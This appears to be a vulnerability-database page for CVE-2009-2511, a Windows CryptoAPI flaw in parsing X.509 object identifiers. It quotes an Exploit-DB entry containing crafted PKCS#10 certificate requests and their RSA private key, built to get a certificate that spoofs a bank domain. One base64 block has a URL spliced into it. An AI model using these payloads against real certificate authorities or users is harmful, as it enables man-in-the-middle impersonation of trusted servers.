CVE-2009-2511 : Detail

CVE-2009-2511

95.08%V3
Network
2009-10-14
08h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

Integer overflow in the CryptoAPI component in Microsoft Windows 2000 SP4, Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista Gold, SP1, and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 allows man-in-the-middle attackers to spoof arbitrary SSL servers and other entities via an X.509 certificate that has a malformed ASN.1 Object Identifier (OID) and was issued by a legitimate Certification Authority, aka "Integer Overflow in X.509 Object Identifiers Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 33264

Publication date : 2009-08-04 22h00 +00:00
Author : Dan Kaminsky
EDB Verified : Yes

source: https://www.securityfocus.com/bid/36577/info Microsoft Internet Explorer is a browser available for Microsoft Windows. Internet Explorer is prone to multiple security-bypass vulnerabilities because it fails to properly handle encoded values in X.509 certificates. Specifically, it fails to properly distinguish integer sequences that are then recognized as CN (common name) elements. Successful exploits allow attackers to perform man-in-the-middle attacks or impersonate trusted servers, which will aid in further attacks. PKCS#10 Request with Leading Zeroes: -----BEGIN CERTIFICATE REQUEST----- MIIBoTCCAQoCAQAwYTETMBEGA1UEChMKQmFkZ3V5IEluYzEXMBUGA1UEAxMOd3d3 LmJhZGd1eS5jb20xGTAXBgNVBAsTEEhhY2tpbmcgRGl2aXNpb24xFjAUBgRVBIAD Ewx3d3cuYmFuay5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANmLyxoJ hdDkywSs9J2E70fg5Z2Wou29jKgCDPSFBKTH6syTzWArF84mF4B7a/3aPaaSTwYQ 43siBhDkqYAanZFiLcZS6KVB53/FSsJwzz4+CpDcl7ky5utF/6Yfv86408PpFJvv 5FWLLYBjLkyKE7ru5aMQqqnlZQIHOZc06VIZAgMBAAGgADANBgkqhkiG9w0BAQQF AAOBgQAt9IeKCGIK6WZRP7tcuAZoQBWbxXpASRozSSRWa5GRpLigTb69tggy7kyH bVHsbR3uL5j9wObTaU0EzFLXRDW5R/fQy1SBJLo3S7VXKgSJisMP9rBbuUIgLK6f tlLl4l4l8jJhYPSYkXge1wmyuXVnte53XGy67mBubATzWRk40w== -----END CERTIFICATE REQUEST----- PKCS#10 Request with 64 Bit Overflow: -----BEGIN CERTIFICATE REQUEST----- MIIBqjCCARMCAQAwajETMBEGA1UEChMKQmFkZ3V5IEluYzEXMBUGA1UEAxMOd3d3 LmJhZGd1eS5jb20xGTAXBgNVBAsTEEhhY2tpbmcgRGl2aXNpb24xHzAdBg1VBIKA gICAgICAgIADEwx3d3cuYmFuay5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ AoGBANmLyxoJhdDkywSs9J2E70fg5Z2Wou29jKgCDPSFBKTH6syTzWArF84mF4B7 a/3aPaaSTwYQ43siBhDkqYAanZFiLcZS6KVB53/FSsJwzz4+CpDcl7ky5utF/6Yf v86408PpFJvv5FWLLYBjLkyKE7ru5aMQqqnlZQIHOZc06VIZAgMBAAGgADANBgkq hkiG9w0BAQQFAAOBgQC5avxpz3cfAqmmi2JDAnYBEwzgZfjIAAldk5X8HAX7mB9/https://ww w.defcon.org/ 77neRquSA5VhUQ8K8tdVQylBoaengqQrNpcWu/mTagm0RNaq3fBT6g9hmaGOHjli zbuMfUaH5eMAubxxc04uHPcYShjFzTcIASG8jPJqwIM/CHsSBTG5VlJX8iFquA== -----END CERTIFICATE REQUEST----- Private Key For Above Requests: -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDZi8saCYXQ5MsErPSdhO9H4OWdlqLtvYyoAgz0hQSkx+rMk81g KxfOJheAe2v92j2mkk8GEON7IgYQ5KmAGp2RYi3GUuilQed/xUrCcM8+PgqQ3Je5 MubrRf+mH7/OuNPD6RSb7+RViy2AYy5MihO67uWjEKqp5WUCBzmXNOlSGQIDAQAB AoGAGnnQ9hJCnvG5Y5BJFQKgvHa6eztiCN0QyUG2oeuubP+Hq+4xCIs2EnjAU3qx 4es1pZgY1fwoM0wowNWTa2vR0S5Sse0cVFoEzgOUNDE3bGyRRatjjZEFq6Q1oH3Y MdW9B4bvFsU7wf6MbGmDWFGVMLmBfBlqnSMu324Nfm3xdAECQQDyuHD1XCEtHvcG +SQnngLVs5d6nMnQsA06nEotBLrIe8QESmanOoSEtIsr25zNyUtr6QZqHaldOYK+ SzWf+KWRAkEA5XLB/En3KtQWd+R/jmd8f8ef4IdbmAg+BChoayJPUbI2tyER97MV xAUPN1SujN5C4B+cCz79hXk2+W5dnrOACQJBALO815EqVzsFiiJ0zkw0G59KrarT fjN2m2VCpT8vGG4sEJyox9mgYM+wrrqcl0JghOR1HBXqvydU1je6lAxRYbECQQCE QIw9riiQgCTfQE6ht1aUlGy7z2llDUMpxFzDe8g6b72H+sDPhGMEVGI740ylF6t2 YeHgvZMFryOXzBycUBx5AkEAibS/zSPs08ix6LIaRYsok692TTqb49Cg+FuhJsx/ eEegf1tZTACaCETRB1+edTW20MDwZukGs0WnZ9axgs/9PA== -----END RSA PRIVATE KEY-----

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    References

    http://www.us-cert.gov/cas/techalerts/TA09-286A.html
    Tags : third-party-advisory, x_refsource_CERT